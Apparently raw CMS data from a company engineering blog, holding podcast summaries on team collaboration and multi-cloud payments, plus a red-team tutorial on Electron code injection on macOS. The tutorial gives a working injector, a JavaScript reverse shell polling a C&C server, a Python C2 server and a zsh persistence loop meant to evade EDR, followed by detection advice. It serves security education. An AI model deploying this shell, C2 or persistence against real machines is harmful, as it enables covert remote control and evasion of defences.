successfully.",[],{"type":396,"text":6513,"spans":6514},"Remote working can make synchronous collaboration more difficult due to the difference in timezones. Renato shares how synchronous collaboration happens in his team, which has colleagues based in the UK and Canada. The 5 hours difference between the two main locations means that synchronous collaboration can be more difficult. Renato believes that working together is not only about coding together, but also understanding and breaking down the problem together. Long hours of calls can be difficult to manage, but getting the team on the same page as early as possible will help minimise the number of times that the PR review goes back and forth, thus reducing the delay incurred by async code reviews.",[],"rich_text$b90cc96c-f936-435b-ab39-6c3847a4c342",{"variation":459,"version":460,"items":6517,"primary":6518,"id":6532,"slice_type":479,"slice_label":13},[],{"body":6519},[6520,6523,6526,6529],{"type":465,"text":6521,"spans":6522},"The cost of synchronous collaboration",[],{"type":396,"text":6524,"spans":6525}," Dragan addresses the myth that synchronous collaboration increases costs. If we want to reduce cost, we should focus on improving the throughput of our teams, which reduces costs as a byproduct.",[],{"type":396,"text":6527,"spans":6528},"Multiple people working on the same project or domain are heavily interdependent on each other. In such a team, if people are working individually, we are sure that we will incur delays. Therefore, it pays to have a systemic view in mind, as opposed to focusing on what the individual people are working on.",[],{"type":396,"text":6530,"spans":6531},"Renato uses pairing in his team and can offer the perspective of a Form3 team. Due to the reliance on specialists, some pieces of work still incur delays due to the need for approvals, even if the team is pairing. However, if the team has full control of its work, then pairing does speed up development.",[],"rich_text$3c6dab90-a213-4ed6-9d5c-c05193110130",{"variation":459,"version":460,"items":6534,"primary":6535,"id":6547,"slice_type":479,"slice_label":13},[],{"body":6536},[6537,6540,6543],{"type":465,"text":6538,"spans":6539},"The educational value of code reviews",[],{"type":396,"text":6541,"spans":6542},"Code reviews are often seen as an educational tool. However, Dragan points out that they do not tell the story of how the developer arrived to the solution. The just-in-time, immediate feedback received through pairing and mobbing already contains this context.",[],{"type":396,"text":6544,"spans":6545},"Therefore, synchronous collaboration accelerates the rate of knowledge sharing in the team, especially when it comes to internal team silos. This also provides a lot of flow resilience when it comes to services, improving the mean time to recovery.",[6546],{"start":3242,"end":601,"type":477},"rich_text$9c9a01f2-1fd7-4986-9206-88464b1d1c80",{"id":6549,"uid":6550,"url":6551,"type":406,"href":6552,"tags":6553,"first_publication_date":6310,"last_publication_date":6311,"slugs":6554,"linked_documents":6556,"lang":386,"alternate_languages":6557,"data":6558},"alz04xEAACoAUWbG","electron-injection","\u002Fresources\u002Fengineering-blog\u002Felectron-injection","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz04xEAACoAUWbG%22%29+%5D%5D",[],[6555],"electron-debugging-basics",[],[],{"title":6559,"excerpt":6560,"card_image":6561,"published_date":6566,"reading_time":3400,"tag":427,"dek":6560,"featured_image":6567,"about_form3":6574,"client_about_heading":13,"client_about_body":6575,"author_name":6576,"author_title":6577,"author_photo":6578,"author_bio":6583,"author_linkedin":6587,"slices":6590,"meta_title":6559,"meta_description":6560},"Adventures into Electron code injection on MacOS","Process injection in MacOS is a difficult topic: it is well controlled and there are simply no API calls that provide any useful interface for it. As it is a feature that rarely has legitimate use cases, it makes sense from a security perspective to disable it entirely, or at least heavily restrict it under normal user conditions. However, as a red teamer, it is difficult to move from the freedom of process hollowing and remote threads on Windows, to the harsh reality of the MacOS hardened runtime. This is true especially when trying to create hidden C2 channels and evade detection from EDR and XDR software. There is one technique, however, that does not get the recognition it deserves, most probably because it can only target Electron based applications. While this sounds like a big limitation, there are popular applications that can be targeted and are more than likely to be present on the target system such as Slack, Visual Studio Code and Microsoft Teams to only name a few. These applications can all be a target of code injection by abusing Electron's built in remote debug interface.",{"dimensions":6562,"alt":6559,"copyright":13,"url":6563,"id":6564,"edit":6565},{"width":420,"height":420},"\u002F_prismic-media\u002Ffb755da4864b9552-hrdDjxzNQn-q4b2-_electron-injection.png","hrdDjxzNQn-q4b2-",{"x":17,"y":17,"zoom":18,"background":19},"2023-01-11",{"dimensions":6568,"alt":13,"copyright":13,"url":6571,"id":6572,"edit":6573},{"width":6569,"height":6570},3456,1940,"\u002F_prismic-media\u002F94830a9890b25eb7-lUikGsBZ3rnfJJUa_5a2a99eb-68cb-4041-9a1d-bad17c5.png","lUikGsBZ3rnfJJUa",{"x":17,"y":17,"zoom":18,"background":19},[],[],"Marcell Molnár","Ethical Hacker at FORM3",{"dimensions":6579,"alt":6576,"copyright":13,"url":6580,"id":6581,"edit":6582},{"width":443,"height":1281},"\u002F_prismic-media\u002F2091efd9a6dd3441-humiYlGiVspjCKKX_f74a982a-1e49-4bf0-9b38-68a8ce9.jpg","humiYlGiVspjCKKX",{"x":17,"y":17,"zoom":18,"background":424},[6584],{"type":396,"text":6585,"spans":6586},"Marcell Molnár is a member of the Offensive Security Team at Form3. He is a regular speaker at local conferences, occasional CTF player and bug bounty hunter. He is enthusiastic about new technologies, but also firmly believes that everything can and should be solved in C.",[],{"link_type":453,"key":6588,"url":6589,"target":456},"b4f72ccf-f14a-49ab-830b-404cd05b0d1b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmarcell-molnar\u002F",[6591,6603,6611,6619,6627,6638,6653,6661,6675,6683,6692,6700,6710,6718,6735,6743,6754,6762,6773,6781,6792,6810,6818,6836,6847,6855],{"variation":459,"version":460,"items":6592,"primary":6593,"id":6602,"slice_type":479,"slice_label":13},[],{"body":6594},[6595,6598],{"type":465,"text":6596,"spans":6597},"Electron debugging basics",[],{"type":396,"text":6599,"spans":6600},"By using command line switches it is possible to enable remote debugging via the Chrome DevTools Protocol. As an example let's start up Visual Studio Code using the --inspect switch, open a terminal and type:",[6601],{"start":2128,"end":432,"type":780},"rich_text$6a29d8f2-7154-422d-a6c1-4aa67abe8036",{"variation":459,"version":460,"items":6604,"primary":6605,"id":6610,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6606},[6607],{"type":563,"text":6608,"spans":6609},"\u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect",[],"code_block$57e248f3-883b-4af9-b65b-076e44060db3",{"variation":459,"version":460,"items":6612,"primary":6613,"id":6618,"slice_type":479,"slice_label":13},[],{"body":6614},[6615],{"type":396,"text":6616,"spans":6617},"After starting up the application we can use Chrome to connect to the debug port. Open Chrome and navigate to:",[],"rich_text$cec1776b-0744-4e53-ae2d-eb3cbe2323d1",{"variation":459,"version":460,"items":6620,"primary":6621,"id":6626,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6622},[6623],{"type":563,"text":6624,"spans":6625},"chrome:\u002F\u002Finspect\u002F#devices",[],"code_block$a04e981a-7ac5-459b-8692-9ad7d312d370",{"variation":459,"version":460,"items":6628,"primary":6629,"id":6637,"slice_type":479,"slice_label":13},[],{"body":6630},[6631,6634],{"type":396,"text":6632,"spans":6633},"Now click \"Open dedicated DevTools for Node\".",[],{"type":396,"text":6635,"spans":6636},"We are presented with the familiar debug interface, showing our Electron application. Code injection from here is trivial as we can just type into the console some JavaScript code and have it execute in the target process.",[],"rich_text$73304c85-6e42-4697-8948-b06b09763973",{"variation":459,"version":481,"items":6639,"primary":6640,"id":6652,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6641,"body":6642,"cta_label":13,"cta_link":6643,"aside_type":488,"aside_image":6644,"aside_video":6647,"aside_video_poster":6648,"aside_video_reduced_motion":6649,"aside_video_url":13,"aside_embed":6650,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6651,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":6645,"alt":13,"copyright":13,"url":6571,"id":6572,"edit":6646},{"width":6569,"height":6570},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$27402fdc-b946-4203-90b4-1295c4daacbd",{"variation":459,"version":460,"items":6654,"primary":6655,"id":6660,"slice_type":479,"slice_label":13},[],{"body":6656},[6657],{"type":396,"text":6658,"spans":6659},"This is the basis for our technique, we will need to develop some additional tools to make this actually useful in a red team scenario. In this article we are going to look at building an injector for Electron apps, we are going write some shellcode in JavaScript that has basic command line functionality and finally we are going to look at some ways for creating persistence with zsh. Our goal is to have our shellcode execute in the target process, so in the end our C&C traffic originates from a trusted process, thus making it more difficult to detect using EDR.",[],"rich_text$b4777e05-a177-46f6-a860-bdae50096fc4",{"variation":459,"version":460,"items":6662,"primary":6663,"id":6674,"slice_type":479,"slice_label":13},[],{"body":6664},[6665,6668],{"type":465,"text":6666,"spans":6667},"Building the injector",[],{"type":396,"text":6669,"spans":6670},"We are going to build a simple injector that uses the PyChromeDevTools library (https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools). Let's try the following:",[6671],{"start":688,"end":4365,"type":744,"data":6672},{"link_type":453,"url":6673},"https:\u002F\u002Fgithub.com\u002Fmarty90\u002FPyChromeDevTools","rich_text$dcb9650e-bd1e-4a2a-9440-459a56b1a1ba",{"variation":459,"version":460,"items":6676,"primary":6677,"id":6682,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6678},[6679],{"type":563,"text":6680,"spans":6681},"pip3 install PyChromeDevTools",[],"code_block$31569e8a-b014-404f-8f72-f20e886ee600",{"variation":459,"version":460,"items":6684,"primary":6685,"id":6691,"slice_type":479,"slice_label":13},[],{"body":6686},[6687],{"type":396,"text":6688,"spans":6689},"The contents of the file inject.py is:",[6690],{"start":2118,"end":1363,"type":780},"rich_text$2694b29a-4d1d-48f6-ace7-abffb3502235",{"variation":459,"version":460,"items":6693,"primary":6694,"id":6699,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6695},[6696],{"type":563,"text":6697,"spans":6698},"import PyChromeDevTools\n\nchrome = PyChromeDevTools.ChromeInterface(port=9229)\n\nshellcode = '''\n  console.log(\"Hacked\");\n'''\n\nchrome.Runtime.enable();\nchrome.Runtime.evaluate(expression=shellcode, contextId=1, includeCommandLineAPI=True)",[],"code_block$37c094c2-66a2-4ec7-a74e-b58be57480c8",{"variation":459,"version":460,"items":6701,"primary":6702,"id":6709,"slice_type":479,"slice_label":13},[],{"body":6703},[6704],{"type":396,"text":6705,"spans":6706},"Start visual studio code with the --inspect switch then run the injector:",[6707],{"start":1363,"end":6708,"type":780},43,"rich_text$9e04aa2c-e0f5-46ae-8673-46c359b53236",{"variation":459,"version":460,"items":6711,"primary":6712,"id":6717,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6713},[6714],{"type":563,"text":6715,"spans":6716},"python3 inject.py",[],"code_block$10343a96-2ac5-4179-a8d5-95622a75bf8b",{"variation":459,"version":481,"items":6719,"primary":6720,"id":6734,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6721,"body":6722,"cta_label":13,"cta_link":6723,"aside_type":488,"aside_image":6724,"aside_video":6729,"aside_video_poster":6730,"aside_video_reduced_motion":6731,"aside_video_url":13,"aside_embed":6732,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6733,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":6725,"alt":13,"copyright":13,"url":6726,"id":6727,"edit":6728},{"width":6569,"height":6570},"\u002F_prismic-media\u002F95eb4dc2b1b53fb3-TfbKodelnxO5l-W2_405801b6-d724-417b-8de2-c090799.png","TfbKodelnxO5l-W2",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$51f27418-d333-42d2-95cf-727968e79c25",{"variation":459,"version":460,"items":6736,"primary":6737,"id":6742,"slice_type":479,"slice_label":13},[],{"body":6738},[6739],{"type":396,"text":6740,"spans":6741},"Awesome, we have successfully injected JavaScript code into Visual Studio Code using Python. Now let's try to inject something a bit more useful.",[],"rich_text$aea402a6-13a8-4bdd-bdf6-07c07da1da39",{"variation":459,"version":460,"items":6744,"primary":6745,"id":6753,"slice_type":479,"slice_label":13},[],{"body":6746},[6747,6750],{"type":465,"text":6748,"spans":6749},"Building the shellcode",[],{"type":396,"text":6751,"spans":6752},"Shellcode can come in many different shapes and sizes, this one uses basic Node.js functions to query a C&C server for commands then posts the results back. We are not using any encryption, this is a vanilla reverse shell, but it uses HTTP which makes it stand out a bit less than using port 1337 when looking at network traffic. Adding HTTPS should be trivial, but would require a bit more configuration on the server side.",[],"rich_text$83c52a4a-5f1c-46d6-9c83-4c346f771824",{"variation":459,"version":460,"items":6755,"primary":6756,"id":6761,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6757},[6758],{"type":563,"text":6759,"spans":6760},"\u002F\u002Fadd your C&C host here\nvar shellUrl = '127.0.0.1'\n\u002F\u002Fdebug purposes, if you want to kill the shell in a running VS instance pass var runShell = false in console\nvar runShell = true;\n\n\u002F\u002FHTTP POST for submitting command output\nfunction shellSendResult(result, require){\n  var http = require('http');\n\n  var options = {\n    host: shellUrl,\n    path: '\u002F',\n    method: 'POST',\n    headers: {\n      'Content-Type': 'text\u002Fhtml',\n      'Content-Length': Buffer.byteLength(result),\n    },\n  };\n\n  callback = function(response) {\n    var str = ''\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n\n    response.on('end', function () {\n      console.log(str);\n    });\n  }\n\n  var req = http.request(options, callback);\n  req.write(result);\n  req.end();\n}\n\n\u002F\u002FHTTP GET for getting commands from the server\nfunction shellGetCommand(require){\n  console.log(\"Checking in\");\n  var http = require('http');\n  \n  var options = {\n    host: shellUrl,\n    path: '\u002F'  \n  };        \n \n  callback = function(response) {\n    var str = '';\n\n    response.on('data', function (chunk) {\n      str += chunk;\n    });\n \n    response.on('end', function () {\n      console.log(str);\n      const { exec } = require('node:child_process');\n      if (str !== \"#\") {\n        exec(str, (error, stdout, stderr) => {\n          console.log(stdout + \" \" + stderr);\n          shellSendResult(stdout + \" \" + stderr, require);\n        });\n      }\n    });\n  }\n\n  http.request(options, callback).end();\n}\n\n\u002F\u002Fawkward way of sleeping in JavaScript\nfunction resolveAfter2Seconds() {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      resolve('resolved');\n    }, 2000);\n  });\n}\n\n\u002F\u002Fasync function for creating a loop with delay\nasync function shellAsyncCall(require) {\n  while(runShell){\n    const result = await resolveAfter2Seconds();\n    shellGetCommand(require)\n  }\n}\n\nshellAsyncCall(require);",[],"code_block$9b47042d-2499-4a31-a4c7-7c540e361e3b",{"variation":459,"version":460,"items":6763,"primary":6764,"id":6772,"slice_type":479,"slice_label":13},[],{"body":6765},[6766,6769],{"type":465,"text":6767,"spans":6768},"Building a C2 server",[],{"type":396,"text":6770,"spans":6771},"This is a very (very) basic Python C2 server to use with our shellcode, it uses a custom HTTP handler for sending the commands and receiving output.",[],"rich_text$d6e14c95-7f5a-420b-b6f4-fefb67985203",{"variation":459,"version":460,"items":6774,"primary":6775,"id":6780,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6776},[6777],{"type":563,"text":6778,"spans":6779},"#!\u002Fusr\u002Fbin\u002Fpython3\n\nimport warnings\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport threading\n\n#IP address to listen on\nhostName = \"0.0.0.0\"\n#Port\nserverPort = 80\ncmd = \"#\"\n\nclass MyServer(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        global cmd\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n        self.end_headers()\n        self.wfile.write(bytes(cmd, \"utf-8\"))\n        cmd = \"#\"\n\n    def do_POST(self):\n        if True:\n            self.send_response(200)\n            self.send_header(\"Content-type\", \"text\u002Fhtml; charset=utf-8\")\n            self.end_headers()\n            content = self.rfile.read(int(self.headers[\"content-length\"]))\n            try:\n                content = content.decode('ascii')\n                print(content)\n            except:\n                print(\"Error parsing response.\")    \n\n            self.wfile.write(bytes(\"\", \"utf-8\"))\n    def log_message(self, format, *args):\n        return\n\ndef cmdFunc():\n    global cmd\n    while True:\n        cmd = input(\"\")\n\nif __name__ == \"__main__\":        \n    webServer = HTTPServer((hostName, serverPort), MyServer)\n\n    print(\"Server started http:\u002F\u002F%s:%s\" % (hostName, serverPort))\n\n    try:\n        th = threading.Thread(target=cmdFunc)\n        th.start()\n        webServer.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    th.join()\n    webServer.server_close()\n    print(\"Server stopped.\")",[],"code_block$6809f5d2-2f1a-4f5c-9cac-3fac22970189",{"variation":459,"version":460,"items":6782,"primary":6783,"id":6791,"slice_type":479,"slice_label":13},[],{"body":6784},[6785,6788],{"type":465,"text":6786,"spans":6787},"Putting it together",[],{"type":396,"text":6789,"spans":6790},"Let's run our C2 server, set our host and port in the injector and run the script. When we type a command we should get our result with a slight delay.",[],"rich_text$e22af7c0-4944-47a0-a098-83def6725ea8",{"variation":459,"version":481,"items":6793,"primary":6794,"id":6809,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6795,"body":6796,"cta_label":13,"cta_link":6797,"aside_type":488,"aside_image":6798,"aside_video":6804,"aside_video_poster":6805,"aside_video_reduced_motion":6806,"aside_video_url":13,"aside_embed":6807,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6808,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":6799,"alt":13,"copyright":13,"url":6801,"id":6802,"edit":6803},{"width":6800,"height":2469},1870,"\u002F_prismic-media\u002F0f68e7784c095385-0Nl0vj_CKkcaXU25_2142f940-edca-4230-9bff-5ab6b70.png","0Nl0vj_CKkcaXU25",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$17cff7c1-2eb1-471a-a73f-c5ff205f66d9",{"variation":459,"version":460,"items":6811,"primary":6812,"id":6817,"slice_type":479,"slice_label":13},[],{"body":6813},[6814],{"type":396,"text":6815,"spans":6816},"We can check the electron console for our command logged by the shellcode.",[],"rich_text$c7825f70-b006-439b-a6b5-4e1f96694c10",{"variation":459,"version":481,"items":6819,"primary":6820,"id":6835,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6821,"body":6822,"cta_label":13,"cta_link":6823,"aside_type":488,"aside_image":6824,"aside_video":6830,"aside_video_poster":6831,"aside_video_reduced_motion":6832,"aside_video_url":13,"aside_embed":6833,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6834,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":6825,"alt":13,"copyright":13,"url":6827,"id":6828,"edit":6829},{"width":6826,"height":2480},2568,"\u002F_prismic-media\u002Fe08aaa79811bca59-W7xdZz9Xs2guPujv_abe145cb-e4d3-4f9f-b59e-e79a245.png","W7xdZz9Xs2guPujv",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$9aeb1018-eaff-47f9-923f-9f929f4401bb",{"variation":459,"version":460,"items":6837,"primary":6838,"id":6846,"slice_type":479,"slice_label":13},[],{"body":6839},[6840,6843],{"type":465,"text":6841,"spans":6842},"Creating persistence",[],{"type":396,"text":6844,"spans":6845},"This is tricky, we can't just spawn a new instance of Visual Studio Code with debug enabled as the user would probably get suspicious and close it anyway. We have to wait for the user to open VS code and then inject into it. But how do we get the user to start VS Code with debugging enabled? One seemingly stupid but surprisingly effective solution is to create a sort of listener in bash, wait for a VS Code Process to spawn, kill it immediately and replace it with our own that runs with debugging enabled. This may seem like a lot of hassle, but if we are trying to hide our C2 communication in another process this is actually a great way of doing it. We will of course have to rely on the time window while the user keeps the application open, but let's face it, when was the last time we spent less than an hour in VS Code (provided we use it:)).",[],"rich_text$ee786790-c0e5-4e25-a536-268fe074b1c3",{"variation":459,"version":460,"items":6848,"primary":6849,"id":6854,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":6850},[6851],{"type":563,"text":6852,"spans":6853},"#!\u002Fbin\u002Fzsh\n\nwhile :\ndo\n      PID=$(ps uax | grep Visual | grep Electron | grep MacOS | grep -v inspect | cut -d \" \" -f 5)\n\n      if ! test -z \"$PID\"\n      then\n            echo \"Killing \\$PID\"\n            kill -9 $PID\n            \u002FApplications\u002FVisual\\ Studio\\ Code.app\u002FContents\u002FMacOS\u002FElectron --inspect &\n      else\n            sleep 1\n      fi\ndone",[],"code_block$c9569579-5ef1-4afc-9f72-3e02e23f6d0e",{"variation":459,"version":460,"items":6856,"primary":6857,"id":6892,"slice_type":479,"slice_label":13},[],{"body":6858},[6859,6862,6869,6872,6876,6880,6884,6888],{"type":465,"text":6860,"spans":6861},"Defence and detection",[],{"type":396,"text":6863,"spans":6864},"The bad news is, currently there is no official way of disabling this feature in Electron apps. The reason for this can be traced back to the Chromium threat model (https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model), where local attacks are just not considered.",[6865],{"start":2128,"end":6866,"type":744,"data":6867},300,{"link_type":453,"url":6868},"https:\u002F\u002Fchromium.googlesource.com\u002Fchromium\u002Fsrc\u002F+\u002Fmaster\u002Fdocs\u002Fsecurity\u002Ffaq.md#Why-arent-physically_local-attacks-in-Chromes-threat-model",{"type":396,"text":6870,"spans":6871},"If you are running an EDR software a good way of preventing and detecting this would be to create a rule that checks process arguments. Unless you develop and debug Electron based apps regularly, any process running with the following should at least generate an alert:",[],{"type":1101,"text":6873,"spans":6874},"--inspect",[6875],{"start":17,"end":2380,"type":780},{"type":1101,"text":6877,"spans":6878},"--inspect-br",[6879],{"start":17,"end":1333,"type":780},{"type":1101,"text":6881,"spans":6882},"--debug",[6883],{"start":17,"end":1411,"type":780},{"type":1101,"text":6885,"spans":6886},"--debug-brk",[6887],{"start":17,"end":1998,"type":780},{"type":1101,"text":6889,"spans":6890},"--remote-debugging-port",[6891],{"start":17,"end":2532,"type":780},"rich_text$67cb6623-b4dc-45c6-967a-c9104067068c",{"id":6894,"uid":6895,"url":6896,"type":406,"href":6897,"tags":6898,"first_publication_date":6310,"last_publication_date":6311,"slugs":6899,"linked_documents":6901,"lang":386,"alternate_languages":6902,"data":6903},"alz05xEAACsAUWbW","podcast-build-multicloud","\u002Fresources\u002Fengineering-blog\u002Fpodcast-build-multicloud","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz05xEAACsAUWbW%22%29+%5D%5D",[],[6900],"ep-38-.tech---building-multi-cloud-at-form3",[],[],{"title":6904,"excerpt":6905,"card_image":6906,"published_date":6911,"reading_time":3400,"tag":427,"dek":6905,"featured_image":6912,"about_form3":6917,"client_about_heading":13,"client_about_body":6918,"author_name":1277,"author_title":1278,"author_photo":6919,"author_bio":6922,"author_linkedin":6925,"slices":6927,"meta_title":6904,"meta_description":6905},".tech Podcast - Building multi-cloud at Form3","Kevin Holditch is Head of Platform Engineering at Form3. He joins us to share the interesting problems the Platform Engineering team work on and how the Form3 payments platform was built. Then, he explains why the team decided to build a multi-cloud platform across three clouds and presents an overview of how the technologies behind this exciting project are configured.",{"dimensions":6907,"alt":6904,"copyright":13,"url":6908,"id":6909,"edit":6910},{"width":420,"height":420},"\u002F_prismic-media\u002F54ebf164b0043e2d-u8IPNwbRJ0mVy2T_podcast-build-multicloud.png","_u8IPNwbRJ0mVy2T",{"x":17,"y":17,"zoom":18,"background":19},"2022-12-15",{"dimensions":6913,"alt":13,"copyright":13,"url":6914,"id":6915,"edit":6916},{"width":1270,"height":2672},"\u002F_prismic-media\u002Fb50906c446f42344-wBLfJt0bA3Vis59Q_6b68ff96-8af0-44fb-ab7e-8b86a06.png","wBLfJt0bA3Vis59Q",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":6920,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":6921},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[6923],{"type":396,"text":1287,"spans":6924},[],{"link_type":453,"key":6926,"url":1291,"target":456},"9ad4d8ad-28c7-4faf-8dfc-03323d7e164c",[6928,6948,6961,7015,7051,7081,7103,7126,7140],{"variation":459,"version":481,"items":6929,"primary":6930,"id":6947,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":6931,"body":6935,"cta_label":1304,"cta_link":6938,"aside_type":13,"aside_image":6941,"aside_video":6942,"aside_video_poster":6943,"aside_video_reduced_motion":6944,"aside_video_url":13,"aside_embed":6945,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":6946,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[6932],{"type":465,"text":6933,"spans":6934},"Ep 38 .tech - Building multi-cloud at Form3",[],[6936],{"type":396,"text":1302,"spans":6937},[],{"link_type":453,"key":6939,"url":6940},"d5d5caf9-fd08-4fed-a00a-fb7924140edc","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-38-tech-building-multi-cloud-at-form3-_Z5Ha5ch",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$fc8f9079-6f88-496c-b0e5-a9eca6a2d4df",{"variation":459,"version":460,"items":6949,"primary":6950,"id":6960,"slice_type":479,"slice_label":13},[],{"body":6951},[6952],{"type":396,"text":6953,"spans":6954},"Kevin Holditch is Head of Platform Engineering at Form3. Kevin leads and looks after the Platform Engineering teams, who have been working on the Form3 multi-cloud platform.",[6955,6958],{"start":17,"end":1342,"type":744,"data":6956},{"link_type":453,"url":6957},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fkevholditch\u002F",{"start":598,"end":599,"type":744,"data":6959},{"link_type":453,"url":1328},"rich_text$4712cb56-1e75-4708-bdb8-2eb92064437c",{"variation":459,"version":460,"items":6962,"primary":6963,"id":7014,"slice_type":479,"slice_label":13},[],{"body":6964},[6965,6968,6971,6977,6982,6986,6989,7005,7011],{"type":465,"text":6966,"spans":6967},"The platform team at Form3",[],{"type":396,"text":6969,"spans":6970},"The Form3 engineering department is divided into different groups, internally called \"business lines\". Each of these business lines is responsible for a separate part of engineering at Form3. Some lines are arranged around product such UK, Euro etc. and those teams build products on the platform. Other teams are responsible for cross-cutting concerns, such as the Platform Engineering teams that provide a platform for other engineering teams to build on top of. The Platform Engineering take care of a lot of important aspects such as providing a secure way to run workloads.",[],{"type":396,"text":6972,"spans":6973},"Form3 solve a problem that banks have, which is moving money between accounts at different banks. Looking at an example, let's say we need to move money between Bank A and Bank B. At a lower level, a couple of things have to happen:",[6974,6976],{"start":1049,"end":6975,"type":780},167,{"start":5388,"end":607,"type":780},{"type":1101,"text":6978,"spans":6979},"First, the account holder at Bank A will need to instruct their bank to send money to an account holder at Bank B.",[6980,6981],{"start":586,"end":1372,"type":780},{"start":4147,"end":5615,"type":780},{"type":1101,"text":6983,"spans":6984},"Next, Bank B will need to validate that the they have such an account holder and accept that the money will come in.",[6985],{"start":3400,"end":1333,"type":780},{"type":1101,"text":6987,"spans":6988},"Finally, once both parties have accepted, they need a way to transfer the money between each other.",[],{"type":396,"text":6990,"spans":6991},"The answer to all of these problems is a payment scheme. There are many types of payment schemes around the globe. In the UK, the two biggest ones are FPS and BACS. In Europe, there are the SEPA payment schemes.",[6992,6993,6997,7001],{"start":580,"end":599,"type":780},{"start":6994,"end":605,"type":744,"data":6995},151,{"link_type":453,"url":6996},"https:\u002F\u002Fwww.wearepay.uk\u002Fwhat-we-do\u002Fpayment-systems\u002Ffaster-payment-system\u002F",{"start":1549,"end":6998,"type":744,"data":6999},163,{"link_type":453,"url":7000},"https:\u002F\u002Fwww.bacs.co.uk\u002Fabout\u002F",{"start":7002,"end":2393,"type":744,"data":7003},190,{"link_type":453,"url":7004},"https:\u002F\u002Fwww.europeanpaymentscouncil.eu\u002Fabout-sepa",{"type":396,"text":7006,"spans":7007},"These payment schemes solve the fundamental problem of moving money between banks, but they all do it in completely different ways. The aspects vary from: connection mode, message formats, error handling etc. Therefore, for Bank A to serve the UK market, they would have to build two separate integrations to the UK payment schemes in order to allow customers to send and receive money. This results in a lot of infrastructure to maintain, as some payment schemes require it. There is also maintenance burden as well, as payment schemes make changes to their APIs every year.",[7008],{"start":7009,"end":7010,"type":780},224,230,{"type":396,"text":7012,"spans":7013},"The Form3 proposition is a single, unified API that provides cloud-based and private connectivity options. All the scheme specifics are abstracted behind the API, allowing customers to integrate with the API once. Customers create a single resource that describes the intent of what they want to do and on which payment scheme. Internally, the Form3 platform then handles the mapping and all the other integration details with the desired payment schemes.",[],"rich_text$b9e5abf1-d938-4bab-af0e-fa0fd044bb55",{"variation":459,"version":460,"items":7016,"primary":7017,"id":7050,"slice_type":479,"slice_label":13},[],{"body":7018},[7019,7022,7025,7028,7034,7041,7047],{"type":465,"text":7020,"spans":7021},"A look back at the 2016 platform",[],{"type":396,"text":7023,"spans":7024},"When Form3 started with 4 engineers, they made the decision that they wanted to build everything on the cloud, IaC and a containerised microservice architecture. This also had the benefit that it allowed the early team to offload as much responsibility as possible to the cloud vendor, allowing the Form3 engineers to focus on building products.",[],{"type":396,"text":7026,"spans":7027},"The primary services they chose to build the platform on were:",[],{"type":1101,"text":7029,"spans":7030},"AWS ECS for running Docker containers.",[7031],{"start":17,"end":1411,"type":744,"data":7032},{"link_type":453,"url":7033},"https:\u002F\u002Faws.amazon.com\u002Fecs\u002F",{"type":1101,"text":7035,"spans":7036},"AWS SQS & AWS SNS asynchronous processing of 